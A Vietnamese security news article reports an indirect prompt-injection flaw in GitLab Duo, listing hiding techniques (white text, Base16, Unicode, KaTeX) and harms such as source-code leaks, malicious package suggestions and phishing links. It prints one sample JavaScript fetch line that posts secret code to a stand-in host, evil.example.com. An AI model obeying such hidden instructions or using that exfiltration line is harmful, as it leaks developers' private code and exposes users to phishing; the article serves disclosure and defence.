Lỗ hổng AI trong GitLab Duo gây rò rỉ mã nguồn, nguy cơ tấn công lừa đảo

[WhiteHat Team]

Một lỗ hổng nghiêm trọng thuộc nhóm Indirect Prompt Injection (chèn lệnh gián tiếp) đã được phát hiện trong GitLab Duo – trợ lý lập trình AI tích hợp trong GitLab.

Lỗ hổng này có thể bị khai thác để:

• Đánh cắp mã nguồn từ các dự án riêng tư
• Chèn mã HTML/JavaScript không đáng tin cậy vào phản hồi của AI
• Lừa người dùng truy cập các trang web độc hại
• Rò rỉ thông tin bảo mật như lỗ hổng zero-day chưa công bố

GitLab Duo là trợ lý lập trình tích hợp AI của GitLab, ra mắt từ tháng 6/2023. Công cụ này sử dụng các mô hình Claude của Anthropic để hỗ trợ người dùng viết, sửa và đánh giá mã nguồn trong quy trình phát triển phần mềm và có khả năng:

• Phân tích mã nguồn
• Gợi ý chỉnh sửa mã
• Hỗ trợ xử lý Merge Request, Issue và nhiều nội dung khác trong DevOps lifecycle

Nguyên nhân lỗ hổng nằm ở cách GitLab Duo phân tích toàn bộ ngữ cảnh trang, bao gồm:

• Nội dung merge request
• Commit message
• Comment, mô tả issue
• Mã nguồn dự án

Điều này tạo cơ hội cho kẻ tấn công ẩn lệnh độc hại (prompt injection) trong các vị trí tưởng chừng vô hại như mô tả, bình luận hoặc mã. Khi GitLab Duo xử lý các nội dung này, nó có thể vô tình thực thi lệnh của kẻ tấn công dưới dạng phản hồi cho người dùng.

Kỹ thuật khai thác:

• Chèn các lệnh ẩn dưới dạng văn bản trắng, mã hóa Base16, Unicode hoặc KaTeX vào nội dung merge request, issue, bình luận hoặc mã nguồn.
• GitLab Duo sẽ không lọc bỏ nội dung này và coi đó là một phần ngữ cảnh hợp lệ khi tạo phản hồi.
• Kẻ tấn công có thể:
  • Chỉ đạo AI đưa mã độc vào phản hồi
  • Gợi ý mã có chứa package độc hại
  • Chèn link lừa đảo (phishing) vào đoạn mã gợi ý
  • Gửi mã nguồn nội bộ đến máy chủ bên ngoài thông qua phản hồi có chứa mã HTML/JS

Ví dụ kẻ tấn công có thể:

• Ẩn một đoạn mã fetch('https ://evil.example.com/secret', { method: 'POST', body: secret_code }); trong mô tả merge request.
• Khi người dùng mở merge request và GitLab Duo phân tích nội dung, phản hồi được chèn mã JavaScript độc hại có thể chạy trong trình duyệt người dùng (do cơ chế streaming markdown rendering trong GitLab).

Ảnh hưởng nghiêm trọng:

• Rò rỉ mã nguồn nội bộ
• Chèn mã độc vào quá trình review code
• Tấn công phishing thông qua phản hồi AI
• Khả năng bị tấn công từ bên trong (Insider Threat) dễ dàng hơn
• Gây mất lòng tin vào AI assistant và DevSecOps pipeline

Các chuyên gia khuyến nghị quản trị viên và tổ chức đang sử dụng GitLab Duo:

• Kiểm tra và cập nhật phần mềm: Đảm bảo tất cả các hệ thống GitLab đang chạy phiên bản phần mềm mới nhất.
• Giám sát hệ thống: Thiết lập các cơ chế giám sát để phát hiện các hoạt động bất thường hoặc dấu hiệu của việc khai thác lỗ hổng

Theo The Hacker News​